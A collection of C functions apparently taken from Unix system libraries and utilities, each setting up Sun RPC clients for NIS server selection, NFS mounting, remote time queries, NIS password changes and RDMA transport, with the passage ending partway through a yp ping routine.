static long int __nis_findfastest_with_timeout (dir_binding *bind, const struct timeval *timeout) { static const struct timeval TIMEOUT00 = { 0, 0 }; struct findserv_req *pings; struct sockaddr_in sin, saved_sin; int found = -1; u_int32_t xid_seed; int sock, dontblock = 1; CLIENT *clnt; u_long i, j, pings_count, pings_max, fastest = -1; struct cu_data *cu; pings_max = bind->server_len * 2; /* Reserve a little bit more memory for multihomed hosts */ pings_count = 0; pings = malloc (sizeof (struct findserv_req) * pings_max); xid_seed = (u_int32_t) (time (NULL) ^ getpid ()); if (__builtin_expect (pings == NULL, 0)) return -1; memset (&sin, '\0', sizeof (sin)); sin.sin_family = AF_INET; for (i = 0; i < bind->server_len; i++) for (j = 0; j < bind->server_val[i].ep.ep_len; ++j) if (strcmp (bind->server_val[i].ep.ep_val[j].family, "inet") == 0) if ((bind->server_val[i].ep.ep_val[j].proto == NULL) || (bind->server_val[i].ep.ep_val[j].proto[0] == '-') || (bind->server_val[i].ep.ep_val[j].proto[0] == '\0')) { sin.sin_addr.s_addr = inetstr2int (bind->server_val[i].ep.ep_val[j].uaddr); if (sin.sin_addr.s_addr == 0) continue; sin.sin_port = htons (__pmap_getnisport (&sin, NIS_PROG, NIS_VERSION, IPPROTO_UDP)); if (sin.sin_port == 0) continue; if (pings_count >= pings_max) { struct findserv_req *new_pings; pings_max += 10; new_pings = realloc (pings, sizeof (struct findserv_req) * pings_max); if (__builtin_expect (new_pings == NULL, 0)) { free (pings); return -1; } pings = new_pings; } memcpy ((char *) &pings[pings_count].sin, (char *) &sin, sizeof (sin)); memcpy ((char *)&saved_sin, (char *)&sin, sizeof(sin)); pings[pings_count].xid = xid_seed + pings_count; pings[pings_count].server_nr = i; pings[pings_count].server_ep = j; ++pings_count; } /* Make sure at least one server was assigned */ if (pings_count == 0) { free (pings); return -1; } /* Create RPC handle */ sock = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP); clnt = clntudp_create (&saved_sin, NIS_PROG, NIS_VERSION, *timeout, &sock); if (clnt == NULL) { close (sock); free (pings); return -1; } auth_destroy (clnt->cl_auth); clnt->cl_auth = authunix_create_default (); cu = (struct cu_data *) clnt->cl_private; ioctl (sock, FIONBIO, &dontblock); /* Send to all servers the NULLPROC */ for (i = 0; i < pings_count; ++i) { /* clntudp_call() will increment, subtract one */ *((u_int32_t *) (cu->cu_outbuf)) = pings[i].xid - 1; memcpy ((char *) &cu->cu_raddr, (char *) &pings[i].sin, sizeof (struct sockaddr_in)); /* Transmit to NULLPROC, return immediately. */ clnt_call (clnt, NULLPROC, (xdrproc_t) xdr_void, (caddr_t) 0, (xdrproc_t) xdr_void, (caddr_t) 0, TIMEOUT00); } while (found == -1) { /* Receive reply from NULLPROC asynchronously. Note null inproc. */ int rc = clnt_call (clnt, NULLPROC, (xdrproc_t) NULL, (caddr_t) 0, (xdrproc_t) xdr_void, (caddr_t) 0, *timeout); if (RPC_SUCCESS == rc) { u_int32_t val; memcpy (&val, cu->cu_inbuf, sizeof (u_int32_t)); fastest = val - xid_seed; if (fastest < pings_count) { bind->server_used = pings[fastest].server_nr; bind->current_ep = pings[fastest].server_ep; found = 1; } } else { /* clnt_perror(clnt, "__nis_findfastest"); */ break; } } auth_destroy (clnt->cl_auth); clnt_destroy (clnt); close (sock); free (pings); return found; }
int nfsmount(const char *spec, const char *node, int *flags, char **extra_opts, char **mount_opts, int running_bg) { static char *prev_bg_host; char hostdir[1024]; CLIENT *mclient; char *hostname; char *pathname; char *old_opts; char *mounthost=NULL; char new_opts[1024]; struct timeval total_timeout; enum clnt_stat clnt_stat; static struct nfs_mount_data data; char *opt, *opteq; int val; struct hostent *hp; struct sockaddr_in server_addr; struct sockaddr_in mount_server_addr; struct pmap* pm_mnt; int msock, fsock; struct timeval retry_timeout; union { struct fhstatus nfsv2; struct mountres3 nfsv3; } status; struct stat statbuf; char *s; int port; int mountport; int proto; int bg; int soft; int intr; int posix; int nocto; int noac; int nolock; int retry; int tcp; int mountprog; int mountvers; int nfsprog; int nfsvers; int retval; time_t t; time_t prevt; time_t timeout; find_kernel_nfs_mount_version(); retval = EX_FAIL; msock = fsock = -1; mclient = NULL; if (strlen(spec) >= sizeof(hostdir)) { bb_error_msg("excessively long host:dir argument"); goto fail; } strcpy(hostdir, spec); if ((s = strchr(hostdir, ':'))) { hostname = hostdir; pathname = s + 1; *s = '\0'; /* Ignore all but first hostname in replicated mounts until they can be fully supported. ([email protected]) */ if ((s = strchr(hostdir, ','))) { *s = '\0'; bb_error_msg("warning: multiple hostnames not supported"); } } else { bb_error_msg("directory to mount not in host:dir format"); goto fail; } server_addr.sin_family = AF_INET; #ifdef HAVE_inet_aton if (!inet_aton(hostname, &server_addr.sin_addr)) #endif { if ((hp = gethostbyname(hostname)) == NULL) { bb_herror_msg("%s", hostname); goto fail; } else { if (hp->h_length > sizeof(struct in_addr)) { bb_error_msg("got bad hp->h_length"); hp->h_length = sizeof(struct in_addr); } memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length); } } memcpy (&mount_server_addr, &server_addr, sizeof (mount_server_addr)); /* add IP address to mtab options for use when unmounting */ s = inet_ntoa(server_addr.sin_addr); old_opts = *extra_opts; if (!old_opts) old_opts = ""; if (strlen(old_opts) + strlen(s) + 10 >= sizeof(new_opts)) { bb_error_msg("excessively long option argument"); goto fail; } sprintf(new_opts, "%s%saddr=%s", old_opts, *old_opts ? "," : "", s); *extra_opts = bb_xstrdup(new_opts); /* Set default options. * rsize/wsize (and bsize, for ver >= 3) are left 0 in order to * let the kernel decide. * timeo is filled in after we know whether it'll be TCP or UDP. */ memset(&data, 0, sizeof(data)); data.retrans = 3; data.acregmin = 3; data.acregmax = 60; data.acdirmin = 30; data.acdirmax = 60; #if NFS_MOUNT_VERSION >= 2 data.namlen = NAME_MAX; #endif bg = 0; soft = 0; intr = 0; posix = 0; nocto = 0; nolock = 0; noac = 0; retry = 10000; /* 10000 minutes ~ 1 week */ tcp = 0; mountprog = MOUNTPROG; mountvers = 0; port = 0; mountport = 0; nfsprog = NFS_PROGRAM; nfsvers = 0; /* parse options */ for (opt = strtok(old_opts, ","); opt; opt = strtok(NULL, ",")) { if ((opteq = strchr(opt, '='))) { val = atoi(opteq + 1); *opteq = '\0'; if (!strcmp(opt, "rsize")) data.rsize = val; else if (!strcmp(opt, "wsize")) data.wsize = val; else if (!strcmp(opt, "timeo")) data.timeo = val; else if (!strcmp(opt, "retrans")) data.retrans = val; else if (!strcmp(opt, "acregmin")) data.acregmin = val; else if (!strcmp(opt, "acregmax")) data.acregmax = val; else if (!strcmp(opt, "acdirmin")) data.acdirmin = val; else if (!strcmp(opt, "acdirmax")) data.acdirmax = val; else if (!strcmp(opt, "actimeo")) { data.acregmin = val; data.acregmax = val; data.acdirmin = val; data.acdirmax = val; } else if (!strcmp(opt, "retry")) retry = val; else if (!strcmp(opt, "port")) port = val; else if (!strcmp(opt, "mountport")) mountport = val; else if (!strcmp(opt, "mounthost")) mounthost=bb_xstrndup(opteq+1, strcspn(opteq+1," \t\n\r,")); else if (!strcmp(opt, "mountprog")) mountprog = val; else if (!strcmp(opt, "mountvers")) mountvers = val; else if (!strcmp(opt, "nfsprog")) nfsprog = val; else if (!strcmp(opt, "nfsvers") || !strcmp(opt, "vers")) nfsvers = val; else if (!strcmp(opt, "proto")) { if (!strncmp(opteq+1, "tcp", 3)) tcp = 1; else if (!strncmp(opteq+1, "udp", 3)) tcp = 0; else printf(_("Warning: Unrecognized proto= option.\n")); } else if (!strcmp(opt, "namlen")) { #if NFS_MOUNT_VERSION >= 2 if (nfs_mount_version >= 2) data.namlen = val; else #endif printf(_("Warning: Option namlen is not supported.\n")); } else if (!strcmp(opt, "addr")) /* ignore */; else { printf(_("unknown nfs mount parameter: " "%s=%d\n"), opt, val); goto fail; } } else { val = 1; if (!strncmp(opt, "no", 2)) { val = 0; opt += 2; } if (!strcmp(opt, "bg")) bg = val; else if (!strcmp(opt, "fg")) bg = !val; else if (!strcmp(opt, "soft")) soft = val; else if (!strcmp(opt, "hard")) soft = !val; else if (!strcmp(opt, "intr")) intr = val; else if (!strcmp(opt, "posix")) posix = val; else if (!strcmp(opt, "cto")) nocto = !val; else if (!strcmp(opt, "ac")) noac = !val; else if (!strcmp(opt, "tcp")) tcp = val; else if (!strcmp(opt, "udp")) tcp = !val; else if (!strcmp(opt, "lock")) { if (nfs_mount_version >= 3) nolock = !val; else printf(_("Warning: option nolock is not supported.\n")); } else { printf(_("unknown nfs mount option: " "%s%s\n"), val ? "" : "no", opt); goto fail; } } } proto = (tcp) ? IPPROTO_TCP : IPPROTO_UDP; data.flags = (soft ? NFS_MOUNT_SOFT : 0) | (intr ? NFS_MOUNT_INTR : 0) | (posix ? NFS_MOUNT_POSIX : 0) | (nocto ? NFS_MOUNT_NOCTO : 0) | (noac ? NFS_MOUNT_NOAC : 0); #if NFS_MOUNT_VERSION >= 2 if (nfs_mount_version >= 2) data.flags |= (tcp ? NFS_MOUNT_TCP : 0); #endif #if NFS_MOUNT_VERSION >= 3 if (nfs_mount_version >= 3) data.flags |= (nolock ? NFS_MOUNT_NONLM : 0); #endif if (nfsvers > MAX_NFSPROT) { bb_error_msg("NFSv%d not supported!", nfsvers); return 0; } if (mountvers > MAX_NFSPROT) { bb_error_msg("NFSv%d not supported!", nfsvers); return 0; } if (nfsvers && !mountvers) mountvers = (nfsvers < 3) ? 1 : nfsvers; if (nfsvers && nfsvers < mountvers) { mountvers = nfsvers; } /* Adjust options if none specified */ if (!data.timeo) data.timeo = tcp ? 70 : 7; #ifdef NFS_MOUNT_DEBUG printf("rsize = %d, wsize = %d, timeo = %d, retrans = %d\n", data.rsize, data.wsize, data.timeo, data.retrans); printf("acreg (min, max) = (%d, %d), acdir (min, max) = (%d, %d)\n", data.acregmin, data.acregmax, data.acdirmin, data.acdirmax); printf("port = %d, bg = %d, retry = %d, flags = %.8x\n", port, bg, retry, data.flags); printf("mountprog = %d, mountvers = %d, nfsprog = %d, nfsvers = %d\n", mountprog, mountvers, nfsprog, nfsvers); printf("soft = %d, intr = %d, posix = %d, nocto = %d, noac = %d\n", (data.flags & NFS_MOUNT_SOFT) != 0, (data.flags & NFS_MOUNT_INTR) != 0, (data.flags & NFS_MOUNT_POSIX) != 0, (data.flags & NFS_MOUNT_NOCTO) != 0, (data.flags & NFS_MOUNT_NOAC) != 0); #if NFS_MOUNT_VERSION >= 2 printf("tcp = %d\n", (data.flags & NFS_MOUNT_TCP) != 0); #endif #endif data.version = nfs_mount_version; *mount_opts = (char *) &data; if (*flags & MS_REMOUNT) return 0; /* * If the previous mount operation on the same host was * backgrounded, and the "bg" for this mount is also set, * give up immediately, to avoid the initial timeout. */ if (bg && !running_bg && prev_bg_host && strcmp(hostname, prev_bg_host) == 0) { if (retry > 0) retval = EX_BG; return retval; } /* create mount deamon client */ /* See if the nfs host = mount host. */ if (mounthost) { if (mounthost[0] >= '0' && mounthost[0] <= '9') { mount_server_addr.sin_family = AF_INET; mount_server_addr.sin_addr.s_addr = inet_addr(hostname); } else { if ((hp = gethostbyname(mounthost)) == NULL) { bb_herror_msg("%s", mounthost); goto fail; } else { if (hp->h_length > sizeof(struct in_addr)) { bb_error_msg("got bad hp->h_length?"); hp->h_length = sizeof(struct in_addr); } mount_server_addr.sin_family = AF_INET; memcpy(&mount_server_addr.sin_addr, hp->h_addr, hp->h_length); } } } /* * The following loop implements the mount retries. On the first * call, "running_bg" is 0. When the mount times out, and the * "bg" option is set, the exit status EX_BG will be returned. * For a backgrounded mount, there will be a second call by the * child process with "running_bg" set to 1. * * The case where the mount point is not present and the "bg" * option is set, is treated as a timeout. This is done to * support nested mounts. * * The "retry" count specified by the user is the number of * minutes to retry before giving up. * * Only the first error message will be displayed. */ retry_timeout.tv_sec = 3; retry_timeout.tv_usec = 0; total_timeout.tv_sec = 20; total_timeout.tv_usec = 0; timeout = time(NULL) + 60 * retry; prevt = 0; t = 30; val = 1; for (;;) { if (bg && stat(node, &statbuf) == -1) { if (running_bg) { sleep(val); /* 1, 2, 4, 8, 16, 30, ... */ val *= 2; if (val > 30) val = 30; } } else { /* be careful not to use too many CPU cycles */ if (t - prevt < 30) sleep(30); pm_mnt = get_mountport(&mount_server_addr, mountprog, mountvers, proto, mountport); /* contact the mount daemon via TCP */ mount_server_addr.sin_port = htons(pm_mnt->pm_port); msock = RPC_ANYSOCK; switch (pm_mnt->pm_prot) { case IPPROTO_UDP: mclient = clntudp_create(&mount_server_addr, pm_mnt->pm_prog, pm_mnt->pm_vers, retry_timeout, &msock); if (mclient) break; mount_server_addr.sin_port = htons(pm_mnt->pm_port); msock = RPC_ANYSOCK; case IPPROTO_TCP: mclient = clnttcp_create(&mount_server_addr, pm_mnt->pm_prog, pm_mnt->pm_vers, &msock, 0, 0); break; default: mclient = 0; } if (mclient) { /* try to mount hostname:pathname */ mclient->cl_auth = authunix_create_default(); /* make pointers in xdr_mountres3 NULL so * that xdr_array allocates memory for us */ memset(&status, 0, sizeof(status)); if (pm_mnt->pm_vers == 3) clnt_stat = clnt_call(mclient, MOUNTPROC3_MNT, (xdrproc_t) xdr_dirpath, (caddr_t) &pathname, (xdrproc_t) xdr_mountres3, (caddr_t) &status, total_timeout); else clnt_stat = clnt_call(mclient, MOUNTPROC_MNT, (xdrproc_t) xdr_dirpath, (caddr_t) &pathname, (xdrproc_t) xdr_fhstatus, (caddr_t) &status, total_timeout); if (clnt_stat == RPC_SUCCESS) break; /* we're done */ if (errno != ECONNREFUSED) { clnt_perror(mclient, "mount"); goto fail; /* don't retry */ } if (!running_bg && prevt == 0) clnt_perror(mclient, "mount"); auth_destroy(mclient->cl_auth); clnt_destroy(mclient); mclient = 0; close(msock); } else { if (!running_bg && prevt == 0) clnt_pcreateerror("mount"); } prevt = t; } if (!bg) goto fail; if (!running_bg) { prev_bg_host = bb_xstrdup(hostname); if (retry > 0) retval = EX_BG; goto fail; } t = time(NULL); if (t >= timeout) goto fail; } nfsvers = (pm_mnt->pm_vers < 2) ? 2 : pm_mnt->pm_vers; if (nfsvers == 2) { if (status.nfsv2.fhs_status != 0) { bb_error_msg("%s:%s failed, reason given by server: %s", hostname, pathname, nfs_strerror(status.nfsv2.fhs_status)); goto fail; } memcpy(data.root.data, (char *) status.nfsv2.fhstatus_u.fhs_fhandle, NFS_FHSIZE); #if NFS_MOUNT_VERSION >= 4 data.root.size = NFS_FHSIZE; memcpy(data.old_root.data, (char *) status.nfsv2.fhstatus_u.fhs_fhandle, NFS_FHSIZE); #endif } else { #if NFS_MOUNT_VERSION >= 4 fhandle3 *my_fhandle; if (status.nfsv3.fhs_status != 0) { bb_error_msg("%s:%s failed, reason given by server: %s", hostname, pathname, nfs_strerror(status.nfsv3.fhs_status)); goto fail; } my_fhandle = &status.nfsv3.mountres3_u.mountinfo.fhandle; memset(data.old_root.data, 0, NFS_FHSIZE); memset(&data.root, 0, sizeof(data.root)); data.root.size = my_fhandle->fhandle3_len; memcpy(data.root.data, (char *) my_fhandle->fhandle3_val, my_fhandle->fhandle3_len); data.flags |= NFS_MOUNT_VER3; #endif } /* create nfs socket for kernel */ if (tcp) { if (nfs_mount_version < 3) { printf(_("NFS over TCP is not supported.\n")); goto fail; } fsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); } else fsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (fsock < 0) { perror(_("nfs socket")); goto fail; } if (bindresvport(fsock, 0) < 0) { perror(_("nfs bindresvport")); goto fail; } if (port == 0) { server_addr.sin_port = PMAPPORT; port = pmap_getport(&server_addr, nfsprog, nfsvers, tcp ? IPPROTO_TCP : IPPROTO_UDP); if (port == 0) port = NFS_PORT; #ifdef NFS_MOUNT_DEBUG else printf(_("used portmapper to find NFS port\n")); #endif } #ifdef NFS_MOUNT_DEBUG printf(_("using port %d for nfs deamon\n"), port); #endif server_addr.sin_port = htons(port); /* * connect() the socket for kernels 1.3.10 and below only, * to avoid problems with multihomed hosts. * --Swen */ if (get_kernel_revision() <= 66314 && connect(fsock, (struct sockaddr *) &server_addr, sizeof (server_addr)) < 0) { perror(_("nfs connect")); goto fail; } /* prepare data structure for kernel */ data.fd = fsock; memcpy((char *) &data.addr, (char *) &server_addr, sizeof(data.addr)); strncpy(data.hostname, hostname, sizeof(data.hostname)); /* clean up */ auth_destroy(mclient->cl_auth); clnt_destroy(mclient); close(msock); return 0; /* abort */ fail: if (msock != -1) { if (mclient) { auth_destroy(mclient->cl_auth); clnt_destroy(mclient); } close(msock); } if (fsock != -1) close(fsock); return retval; }
int rtime(struct knetconfig *synconfig, struct netbuf *addrp, int calltype, struct timeval *timep, struct timeval *wait) { int error; int timo; time_t thetime; int32_t srvtime; uint32_t dummy; struct t_kunitdata *unitdata; struct t_call *server; TIUSER *tiptr; int type; int uderr; int i; int retries; mblk_t *mp; mblk_t *mp2; retries = 5; if (calltype == 0) { again: RPCLOG0(8, "rtime: using old method\n"); if ((error = t_kopen(NULL, synconfig->knc_rdev, FREAD|FWRITE, &tiptr, CRED())) != 0) { RPCLOG(1, "rtime: t_kopen %d\n", error); return (-1); } if ((error = t_kbind(tiptr, NULL, NULL)) != 0) { (void) t_kclose(tiptr, 1); RPCLOG(1, "rtime: t_kbind %d\n", error); return (-1); } if (synconfig->knc_semantics == NC_TPI_CLTS) { if ((error = t_kalloc(tiptr, T_UNITDATA, T_UDATA|T_ADDR, (char **)&unitdata)) != 0) { RPCLOG(1, "rtime: t_kalloc %d\n", error); (void) t_kclose(tiptr, 1); return (-1); } unitdata->addr.len = addrp->len; bcopy(addrp->buf, unitdata->addr.buf, unitdata->addr.len); dummy = 0; unitdata->udata.buf = (caddr_t)&dummy; unitdata->udata.len = sizeof (dummy); if ((error = t_ksndudata(tiptr, unitdata, NULL)) != 0) { RPCLOG(1, "rtime: t_ksndudata %d\n", error); (void) t_kfree(tiptr, (char *)unitdata, T_UNITDATA); (void) t_kclose(tiptr, 1); return (-1); } timo = TIMEVAL_TO_TICK(wait); RPCLOG(8, "rtime: timo %x\n", timo); if ((error = t_kspoll(tiptr, timo, READWAIT, &type)) != 0) { RPCLOG(1, "rtime: t_kspoll %d\n", error); (void) t_kfree(tiptr, (char *)unitdata, T_UNITDATA); (void) t_kclose(tiptr, 1); return (-1); } if (type == 0) { RPCLOG0(1, "rtime: t_kspoll timed out\n"); (void) t_kfree(tiptr, (char *)unitdata, T_UNITDATA); (void) t_kclose(tiptr, 1); return (-1); } error = t_krcvudata(tiptr, unitdata, &type, &uderr); if (error != 0) { RPCLOG(1, "rtime: t_krcvudata %d\n", error); (void) t_kfree(tiptr, (char *)unitdata, T_UNITDATA); (void) t_kclose(tiptr, 1); if (error == EBADMSG && retries-- > 0) goto again; return (-1); } if (type == T_UDERR) { if (bcmp(addrp->buf, unitdata->addr.buf, unitdata->addr.len) != 0) { /* * Response comes from some other * destination: * ignore it since it's not related to the * request we just sent out. */ (void) t_kfree(tiptr, (char *)unitdata, T_UNITDATA); (void) t_kclose(tiptr, 1); goto again; } } if (type != T_DATA) { RPCLOG(1, "rtime: t_krcvudata returned type %d\n", type); (void) t_kfree(tiptr, (char *)unitdata, T_UNITDATA); (void) t_kclose(tiptr, 1); if (retries-- == 0) return (-1); goto again; } if (unitdata->udata.len < sizeof (uint32_t)) { RPCLOG(1, "rtime: bad rcvd length %d\n", unitdata->udata.len); (void) t_kfree(tiptr, (char *)unitdata, T_UNITDATA); (void) t_kclose(tiptr, 1); if (retries-- == 0) return (-1); goto again; } thetime = (time_t)ntohl( /* LINTED pointer alignment */ *(uint32_t *)unitdata->udata.buf); (void) t_kfree(tiptr, (char *)unitdata, T_UNITDATA); } else { if ((error = t_kalloc(tiptr, T_CALL, T_ADDR, (char **)&server)) != 0) { RPCLOG(1, "rtime: t_kalloc %d\n", error); (void) t_kclose(tiptr, 1); return (-1); } server->addr.len = addrp->len; bcopy(addrp->buf, server->addr.buf, server->addr.len); if ((error = t_kconnect(tiptr, server, NULL)) != 0) { RPCLOG(1, "rtime: t_kconnect %d\n", error); (void) t_kfree(tiptr, (char *)server, T_CALL); (void) t_kclose(tiptr, 1); return (-1); } (void) t_kfree(tiptr, (char *)server, T_CALL); timo = TIMEVAL_TO_TICK(wait); RPCLOG(8, "rtime: timo %x\n", timo); i = 0; dummy = 0; /* now read up to 4 bytes from the TIME server */ while (i < sizeof (dummy)) { error = t_kspoll(tiptr, timo, READWAIT, &type); if (error != 0) { RPCLOG(1, "rtime: t_kspoll %d\n", error); (void) t_kclose(tiptr, 1); return (-1); } if (type == 0) { RPCLOG0(1, "rtime: t_kspoll timed out\n"); (void) t_kclose(tiptr, 1); return (-1); } error = tli_recv(tiptr, &mp, tiptr->fp->f_flag); if (error != 0) { RPCLOG(1, "rtime: tli_recv %d\n", error); (void) t_kclose(tiptr, 1); return (-1); } if (mp->b_datap->db_type != M_DATA) { RPCLOG(1, "rtime: wrong msg type %d\n", mp->b_datap->db_type); RPCLOG(1, "rtime: wrong msg type: read %d" " bytes\n", i); (void) t_kclose(tiptr, 1); freemsg(mp); return (-1); } mp2 = mp; /* * The outer loop iterates until we reach the * end of the mblk chain. */ while (mp2 != NULL) { /* * The inner loop iterates until * we've gotten 4 bytes or until * the mblk is exhausted. */ while (i < sizeof (dummy) && mp2->b_rptr < mp2->b_wptr) { i++; /* * We avoid big-endian/little-endian * issues by serializing the result * one byte at a time. */ dummy <<= 8; dummy += ((*mp2->b_rptr) & 0xFF); mp2->b_rptr++; } mp2 = mp2->b_cont; } freemsg(mp); } thetime = (time_t)dummy; } (void) t_kclose(tiptr, 1); } else { CLIENT *client; struct timeval timout; RPCLOG0(8, "rtime: using new method\n"); new_again: /* * We talk to rpcbind. */ error = clnt_tli_kcreate(synconfig, addrp, (rpcprog_t)RPCBPROG, (rpcvers_t)RPCBVERS, 0, retries, CRED(), &client); if (error != 0) { RPCLOG(1, "rtime: clnt_tli_kcreate returned %d\n", error); return (-1); } timout.tv_sec = 60; timout.tv_usec = 0; error = clnt_call(client, RPCBPROC_GETTIME, (xdrproc_t)xdr_void, NULL, (xdrproc_t)xdr_u_int, (caddr_t)&srvtime, timout); thetime = srvtime; auth_destroy(client->cl_auth); clnt_destroy(client); if (error == RPC_UDERROR) { if (retries-- > 0) goto new_again; } if (error != RPC_SUCCESS) { RPCLOG(1, "rtime: time sync clnt_call returned %d\n", error); error = EIO; return (-1); } } if (calltype != 0) thetime += TOFFSET; RPCLOG(8, "rtime: thetime = %lx\n", thetime); if (thetime < WRITTEN) { RPCLOG(1, "rtime: time returned is too far in past %lx", thetime); RPCLOG(1, "rtime: WRITTEN %x", WRITTEN); return (-1); } thetime -= TOFFSET; timep->tv_sec = thetime; RPCLOG(8, "rtime: timep->tv_sec = %lx\n", timep->tv_sec); RPCLOG(8, "rtime: machine time = %lx\n", gethrestime_sec()); timep->tv_usec = 0; RPCLOG0(8, "rtime: returning success\n"); return (0); }
static int _do_setpass(pam_handle_t* pamh, const char *forwho, const char *fromwhat, char *towhat, unsigned int ctrl, int remember) { struct passwd *pwd = NULL; int retval = 0; int unlocked = 0; char *master = NULL; D(("called")); pwd = getpwnam(forwho); if (pwd == NULL) { retval = PAM_AUTHTOK_ERR; goto done; } if (on(UNIX_NIS, ctrl) && _unix_comesfromsource(pamh, forwho, 0, 1)) { #ifdef HAVE_NIS if ((master=getNISserver(pamh, ctrl)) != NULL) { struct timeval timeout; struct yppasswd yppwd; CLIENT *clnt; int status; enum clnt_stat err; /* Unlock passwd file to avoid deadlock */ unlock_pwdf(); unlocked = 1; /* Initialize password information */ yppwd.newpw.pw_passwd = pwd->pw_passwd; yppwd.newpw.pw_name = pwd->pw_name; yppwd.newpw.pw_uid = pwd->pw_uid; yppwd.newpw.pw_gid = pwd->pw_gid; yppwd.newpw.pw_gecos = pwd->pw_gecos; yppwd.newpw.pw_dir = pwd->pw_dir; yppwd.newpw.pw_shell = pwd->pw_shell; yppwd.oldpass = fromwhat ? strdup (fromwhat) : strdup (""); yppwd.newpw.pw_passwd = towhat; D(("Set password %s for %s", yppwd.newpw.pw_passwd, forwho)); /* The yppasswd.x file said `unix authentication required', * so I added it. This is the only reason it is in here. * My yppasswdd doesn't use it, but maybe some others out there * do. --okir */ clnt = clnt_create(master, YPPASSWDPROG, YPPASSWDVERS, "udp"); clnt->cl_auth = authunix_create_default(); memset((char *) &status, '\0', sizeof(status)); timeout.tv_sec = 25; timeout.tv_usec = 0; err = clnt_call(clnt, YPPASSWDPROC_UPDATE, (xdrproc_t) xdr_yppasswd, (char *) &yppwd, (xdrproc_t) xdr_int, (char *) &status, timeout); free (yppwd.oldpass); if (err) { _make_remark(pamh, ctrl, PAM_TEXT_INFO, clnt_sperrno(err)); } else if (status) { D(("Error while changing NIS password.\n")); } D(("The password has%s been changed on %s.", (err || status) ? " not" : "", master)); pam_syslog(pamh, LOG_NOTICE, "password%s changed for %s on %s", (err || status) ? " not" : "", pwd->pw_name, master); auth_destroy(clnt->cl_auth); clnt_destroy(clnt); if (err || status) { _make_remark(pamh, ctrl, PAM_TEXT_INFO, _("NIS password could not be changed.")); retval = PAM_TRY_AGAIN; } #ifdef PAM_DEBUG sleep(5); #endif } else { retval = PAM_TRY_AGAIN; } #else if (on(UNIX_DEBUG, ctrl)) { pam_syslog(pamh, LOG_DEBUG, "No NIS support available"); } retval = PAM_TRY_AGAIN; #endif } if (_unix_comesfromsource(pamh, forwho, 1, 0)) { if(unlocked) { if (lock_pwdf() != PAM_SUCCESS) { return PAM_AUTHTOK_LOCK_BUSY; } } #ifdef WITH_SELINUX if (unix_selinux_confined()) return _unix_run_update_binary(pamh, ctrl, forwho, fromwhat, towhat, remember); #endif /* first, save old password */ if (save_old_password(pamh, forwho, fromwhat, remember)) { retval = PAM_AUTHTOK_ERR; goto done; } if (on(UNIX_SHADOW, ctrl) || is_pwd_shadowed(pwd)) { retval = unix_update_shadow(pamh, forwho, towhat); if (retval == PAM_SUCCESS) if (!is_pwd_shadowed(pwd)) retval = unix_update_passwd(pamh, forwho, "x"); } else { retval = unix_update_passwd(pamh, forwho, towhat); } } done: unlock_pwdf(); return retval; }
int clnt_rdma_kcreate(char *proto, void *handle, struct netbuf *raddr, int family, rpcprog_t pgm, rpcvers_t vers, struct cred *cred, CLIENT **cl) { CLIENT *h; struct cku_private *p; struct rpc_msg call_msg; rdma_registry_t *rp; ASSERT(INGLOBALZONE(curproc)); if (cl == NULL) return (EINVAL); *cl = NULL; p = kmem_zalloc(sizeof (*p), KM_SLEEP); /* * Find underlying RDMATF plugin */ rw_enter(&rdma_lock, RW_READER); rp = rdma_mod_head; while (rp != NULL) { if (strcmp(rp->r_mod->rdma_api, proto)) rp = rp->r_next; else { p->cku_rd_mod = rp->r_mod; p->cku_rd_handle = handle; break; } } rw_exit(&rdma_lock); if (p->cku_rd_mod == NULL) { /* * Should not happen. * No matching RDMATF plugin. */ kmem_free(p, sizeof (struct cku_private)); return (EINVAL); } h = ptoh(p); h->cl_ops = &rdma_clnt_ops; h->cl_private = (caddr_t)p; h->cl_auth = authkern_create(); /* call message, just used to pre-serialize below */ call_msg.rm_xid = 0; call_msg.rm_direction = CALL; call_msg.rm_call.cb_rpcvers = RPC_MSG_VERSION; call_msg.rm_call.cb_prog = pgm; call_msg.rm_call.cb_vers = vers; xdrmem_create(&p->cku_outxdr, p->cku_rpchdr, CKU_HDRSIZE, XDR_ENCODE); /* pre-serialize call message header */ if (!xdr_callhdr(&p->cku_outxdr, &call_msg)) { XDR_DESTROY(&p->cku_outxdr); auth_destroy(h->cl_auth); kmem_free(p, sizeof (struct cku_private)); return (EINVAL); } /* * Set up the rpc information */ p->cku_cred = cred; p->cku_srcaddr.buf = kmem_zalloc(raddr->maxlen, KM_SLEEP); p->cku_srcaddr.maxlen = raddr->maxlen; p->cku_srcaddr.len = 0; p->cku_addr.buf = kmem_zalloc(raddr->maxlen, KM_SLEEP); p->cku_addr.maxlen = raddr->maxlen; p->cku_addr.len = raddr->len; bcopy(raddr->buf, p->cku_addr.buf, raddr->len); p->cku_addrfmly = family; *cl = h; return (0); }
int __yp_ping(struct in_addr *restricted_addrs, int cnt, char *dom, short *port) { struct timeval tv = { 5, 0 }; struct ping_req **reqs; unsigned long i; int async; struct sockaddr_in sin, *any = NULL; struct netbuf addr; int winner = -1; u_int32_t xid_seed, xid_lookup; int sock, dontblock = 1; CLIENT *clnt; char *foo = dom; int validsrvs = 0; /* Set up handles. */ reqs = calloc(1, sizeof(struct ping_req *) * cnt); xid_seed = time(NULL) ^ getpid(); for (i = 0; i < cnt; i++) { bzero((char *)&sin, sizeof(sin)); sin.sin_family = AF_INET; bcopy((char *)&restricted_addrs[i], (char *)&sin.sin_addr, sizeof(struct in_addr)); sin.sin_port = htons(__pmap_getport(&sin, YPPROG, YPVERS, IPPROTO_UDP)); if (sin.sin_port == 0) continue; reqs[i] = calloc(1, sizeof(struct ping_req)); bcopy((char *)&sin, (char *)&reqs[i]->sin, sizeof(sin)); any = &reqs[i]->sin; reqs[i]->xid = xid_seed; xid_seed++; validsrvs++; } /* Make sure at least one server was assigned */ if (!validsrvs) { free(reqs); return(-1); } /* Create RPC handle */ sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); clnt = clntudp_create(any, YPPROG, YPVERS, tv, &sock); if (clnt == NULL) { close(sock); for (i = 0; i < cnt; i++) if (reqs[i] != NULL) free(reqs[i]); free(reqs); return(-1); } clnt->cl_auth = authunix_create_default(); tv.tv_sec = 0; clnt_control(clnt, CLSET_TIMEOUT, (char *)&tv); async = TRUE; clnt_control(clnt, CLSET_ASYNC, (char *)&async); ioctl(sock, FIONBIO, &dontblock); /* Transmit */ for (i = 0; i < cnt; i++) { if (reqs[i] != NULL) { 